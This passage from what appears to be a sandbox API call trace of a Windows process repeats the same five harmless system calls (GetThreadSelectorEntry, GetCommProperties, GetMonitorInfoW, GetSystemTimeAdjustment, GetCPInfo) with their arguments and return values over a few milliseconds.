lpSelectorEntry=0x18feb8) returned 1 [0109.686] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.686] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.686] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.686] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.686] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.686] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.686] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.686] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.686] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.686] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.686] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.686] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.686] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.686] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.686] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.686] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.686] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.687] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.687] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.687] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.687] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.687] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.687] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.687] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.687] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.687] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.687] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.687] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.687] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.687] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.687] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.687] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.687] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.687] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.687] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.687] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.687] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.687] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.687] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.687] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.687] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.688] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.688] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.688] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.688] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.688] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.688] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.688] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.688] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.688] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.688] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.688] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.688] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.688] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.688] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.688] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.688] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.688] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.688] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.688] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.688] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.688] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.688] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.688] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.688] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.688] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.688] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.688] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.688] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.689] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.689] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.689] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.689] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.689] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.689] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.689] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.689] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.689] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.689] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.689] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.689] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.689] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.689] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.689] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.689] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.689] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.689] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.689] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.689] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.689] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.689] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.689] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.689] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.689] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.689] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.690] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.690] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.690] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.690] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.690] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.690] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.690] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.690] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.690] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.690] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.690] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.690] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.690] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.690] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.690] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.690] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.690] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.690] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.690] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.690] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.690] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.690] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.690] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.690] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.690] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.690] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.691] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.691] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.691] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.691] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.691] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.691] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.691] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.691] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.691] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.691] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.691] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.691] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.691] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.691] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.691] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.691] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.691] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.691] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.691] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.691] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.691] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.691] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.691] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.692] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.692] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: 